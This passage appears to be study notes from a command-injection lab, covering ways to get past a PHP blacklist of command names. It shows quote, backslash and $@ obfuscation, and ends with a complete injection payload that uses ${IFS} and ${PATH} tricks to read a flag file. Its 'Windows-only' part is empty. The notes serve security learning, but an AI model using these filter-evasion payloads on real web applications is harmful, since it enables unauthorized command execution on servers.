4. Blacklisted commands

We've discussed various methods for bypassing single-character filters. There are different methods when commands themselves are blacklisted.

Going back to the previous sections we'll notice 127.0.0.1%0awhoami resulted in invalid input - the command appears to be blacklisted.

$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos('$_POST['ip']', $word) !== false) {
        echo "Invalid input";
    }
}

above code is looking for an exact command, so if we send a slightly different command it may not be blocked, there's a few techniques to workaround this.

Very common + easy obfuscation technique is inserting certain characters that are usually ignored.

whoami becomes w'h'o'am'i same as above works with "

Important things we remember are:

  1. we cannot mix types of quotes.
  2. the number of quotes MUST be an even number.

127.0.0.1%0aw'h'o'am'i

Linux-only \ and $@ positional parameter char and backslash. these function exactly as it did with quotes, but # of chars don't need to be even. who$@ami w\ho\am\i

If these do not work, consider the escape characters may be blacklisted as well. Attempt bypassing this filter as well.

Windows-only


All of this section and the preceding filter bypasses can come up with a payload that looks like this:

127.0.0.1%0ac'a't${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

in order to basically run: [tab] cat /home/1nj3c70r/flag.txt